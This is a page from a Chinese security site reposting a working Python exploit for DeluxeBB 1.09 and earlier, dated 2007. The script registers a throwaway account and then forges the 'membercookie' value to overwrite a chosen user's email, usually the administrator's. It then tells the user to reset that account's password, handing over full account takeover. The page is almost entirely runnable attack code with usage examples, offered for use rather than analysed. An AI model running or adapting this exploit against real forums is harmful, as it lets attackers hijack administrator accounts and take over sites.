首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DeluxeBB <= 1.09 Remote Admin Email Change Exploit
来源:www.vfocus.net 作者:Nexen 发布时间:2007-11-28  
#!/usr/bin/python
#-*- coding: iso-8859-15 -*-
'''
_ __   _____  _____ _ __ 
| '_ \ / _ \ \/ / _ \ '_ \
| | | |  __/>  <  __/ | | |
|_| |_|\___/_/\_\___|_| |_|

------------------------------------------------------------------------------------------------
§ DeluxeBB 0day Remote Change Admin's credentials §
------------------------------------------------------------------------------------------------
nexen
------------------------------------------------------------------------------------------------
PoC / Bug Explanation:
When you update your profile,
DeluxeBB execute a vulnerable query:

$db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");

So, editing cookie "membercookie" you can change remote user's email.

Enjoy ;)
------------------------------------------------------------------------------------------------

'''


import httplib, urllib, sys, md5
from random import randint
print "\n########################################################################################"
print "                    DeluxeBB <= 1.09 Remote Admin's/User's Email Change                   "
print "                                                                                          "
print "                            Vulnerability Discovered By Nexen                             "         
print "                        Greetz to The:Paradox that Coded the Exploit.                     "
print "                                                                                          "
print " Usage:                                                                                   "
print " %s [Target] [VictimNick] [Path] [YourEmail] [AdditionalFlags]                            " % (sys.argv[0])
print "                                                                                          "
print " Additional Flags:                                                                        "
print " -id34 -passMypassword -port80                                                            "
print "                                                                                          "
print " Example:                                                                                 "
print " python %s 127.0.0.1 admin /DeluxeBB/ me@it.com -port81                                   " % (sys.argv[0])
print "                                                                                          "
print "########################################################################################\n"
if len(sys.argv)<=4: sys.exit()
else:   print "[.]Exploit Starting."

target = sys.argv[1]
admin_nick = sys.argv[2]
path = sys.argv[3]
real_email = sys.argv[4]

botpass = "the-new-administrator"
rand = randint(1, 99999)
dn1 = 0
dn2 = 0
dn3 = 0

try:
for line in sys.argv[:]:
if line.find('-pass') != -1 and dn1 == 0:
upass = line.split('-pass')[1]
dn1 = 1
elif line.find('-pass') == -1 and dn1 == 0:
upass = ""
if line.find('-id') != -1 and dn2 == 0:
userid = line.split('-id')[1]
dn2 = 1
elif line.find('-id') == -1 and dn2 == 0:
userid = ""

if line.find('-port') != -1 and dn3 == 0:
port = line.split('-port')[1]
dn3 = 1
elif line.find('-port') == -1 and dn3 == 0:
port = "80"
except:
sys.exit("[-]Some error in Additional Flag.")
if upass=="" and userid != "" or userid == "" and upass != "":
print "[-]Bad Additional flags -id -pass given, ignoring them."
upass=""
userid=""
############################################################################################Trying to connect.
try:
conn = httplib.HTTPConnection(target,port)
conn.request("GET", "")
except: sys.exit("[-]Cannot connect. Check Target.")
############################################################################################Registering a new user if id or upass not defined
try:
conn = httplib.HTTPConnection(target,port)
if upass == "" or userid == "":
conn.request("POST", path + "misc.php?sub=register", urllib.urlencode({'submit': 'Register','name': 'th331337.%d' % (rand) , 'pass': botpass,'pass2': botpass,'email': 'root%d@yoursystemgotpowned.it' % (rand) }), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
cookies = response.getheader('set-cookie').split(";")
#print "\n\nth331337.%d \n\nthe-new-administrator" % (rand)
print "[.]Registering a new user. -->",response.status, response.reason
conn.close()
############################################################################################Getting memberid in Cookies
for line in cookies[:]:
if line.find('memberid') != -1:
mid = line.split('memberid=')[1]
############################################################################################Isset like starts
try: mid
except NameError: sys.exit("[-]Can't Get \"memberid\". Failed. Something has gone wrong. If you have not done yet, you may have to register manually and use flags -id -pass")
except AttributeError:
sys.exit("[-]AttributeError Check your Target/path.")
############################################################################################Doing some Md5
if upass=="" or userid=="":
hash = md5.new()
hash.update(botpass)
passmd5 = hash.hexdigest()
else:
hash = md5.new()
hash.update(upass)
passmd5 = hash.hexdigest()
mid = userid
############################################################################################Updating "victim" email in Profile
conn = httplib.HTTPConnection(target,port)
conn.request("POST", path+"cp.php?sub=settings", urllib.urlencode({'submit': 'Update','xemail': real_email}), {"Accept": "text/plain","Cookie": "memberid="+mid+"; membercookie="+admin_nick+";memberpw="+passmd5+";" ,"Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
print "[.]Changing \""+admin_nick+"\" Email With \"" + real_email + "\" -->",response.status, response.reason
conn.close()
print "[+]All Done! Email changed!!!\n\n You can reset \""+admin_nick+"\" password here -> "+target+path+"misc.php?sub=lostpw :D\n\n Have Fun =)\n"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·警告!暴风影音3.7.11.13 爆远程
·Seditio CMS <= 121 Remote SQL
·Windows Media Player AIFF Divi
·Softbiz Freelancers Script v.1
·RealPlayer 11 Malformed AU Fil
·RunCMS <= 1.6 disclaimer.php R
·VLC 0.86 < 0.86d ActiveX Remot
·Apple QuickTime 7.3 RTSP Respo
·Apple Mac OS X xnu <= 1228.0 L
·PBLang <= 4.99.17.q Remote Fil
·Apple Mac OS X 10.5.0 (leopard
·Apple Quicktime 7.2/7.3 (RSTP
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved